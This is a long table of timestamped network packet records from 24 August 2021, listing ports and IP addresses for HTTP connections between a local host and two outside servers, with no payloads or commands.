Aug 24, 2021 14:01:43.779866934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779891014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779949903 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780040026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780080080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780086040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780118942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780159950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780173063 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780208111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780217886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780256033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780261040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780278921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780302048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780304909 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780330896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780333042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780359983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780375004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780384064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780397892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780419111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780422926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780438900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780447960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780472994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780486107 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780495882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780519009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780529976 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780539036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780560017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780570030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780580044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780603886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780616045 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780626059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780651093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780663967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780678034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780685902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780715942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780745983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780831099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780850887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780891895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780891895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780915022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780917883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780936003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780960083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.780967951 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.780987978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.781049967 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.782147884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.782187939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782213926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.782217979 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782243967 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782262087 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782274008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782303095 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782331944 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782358885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782383919 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782397985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782413006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782428980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782445908 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782444954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782460928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782476902 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782491922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782510996 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782527924 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782527924 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782542944 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782546043 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782560110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.782562017 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782579899 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782583952 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782586098 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782619953 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782643080 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.782664061 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.794125080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794193029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794234037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794243097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794261932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794287920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794298887 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794327021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794358969 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794372082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794397116 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794399977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794425011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794447899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794450998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794487000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794780970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794821024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794862986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794866085 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794889927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794919014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794929028 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.794962883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.794969082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795000076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795020103 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795026064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795052052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795077085 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795090914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795134068 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795135021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795170069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795171976 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795206070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795237064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795286894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795319080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795320034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795353889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795362949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795388937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795402050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795417070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795461893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795463085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795490026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795502901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795562983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795586109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795614958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795643091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795686007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795712948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795738935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795770884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795835972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795867920 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795869112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795907974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795917034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.795934916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.795972109 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796049118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796078920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796114922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796143055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796148062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796188116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796207905 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796215057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796247959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796267986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796286106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796315908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796339035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796381950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796411037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796437979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796448946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796497107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796514988 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796526909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796552896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796569109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796648979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796699047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796720028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796739101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796806097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.796885967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796907902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796941996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.796955109 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.797005892 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.797327995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.802876949 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.802980900 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803031921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803056955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803056955 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.803082943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803108931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803152084 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803181887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803206921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803235054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803262949 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803263903 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.803289890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.803519964 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.804801941 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.805459976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805583954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.805634975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805691004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805726051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805756092 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.805761099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805794001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805795908 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.805828094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805866003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805887938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.805902958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805937052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.805959940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.805974007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806009054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806027889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806042910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806077003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806094885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806112051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806174040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806221962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806279898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806313992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806344032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806349039 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806376934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806397915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806410074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806446075 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806480885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806502104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806519032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806560040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806570053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806607962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806648016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806667089 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806683064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806705952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806715965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806746960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806771040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806782007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806818008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806837082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806854963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806890965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.806912899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.806931019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.807008028 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.808650970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.810775995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.810874939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.810877085 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.810911894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.810944080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.810971975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811047077 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811057091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811103106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811189890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811232090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811255932 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811269999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811304092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811307907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811340094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811372995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811393976 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811419964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811464071 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811465979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811515093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811562061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811566114 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811602116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811636925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811656952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811674118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811728001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811745882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811759949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811789989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811810017 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811821938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811870098 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.811875105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811914921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811961889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.811980963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812005043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812041998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812061071 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812077045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812129974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812154055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812176943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812179089 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812199116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812233925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812254906 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812272072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812293053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812297106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812315941 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812334061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812372923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812385082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812392950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812412977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812433004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812433958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812453985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812480927 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812489033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812511921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812536955 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812537909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812566996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812613010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812627077 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812638998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812659979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812670946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812680960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812726974 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812757969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812781096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812855005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.812859058 CEST	80	49724	172.67.216.236	192.168.2.3
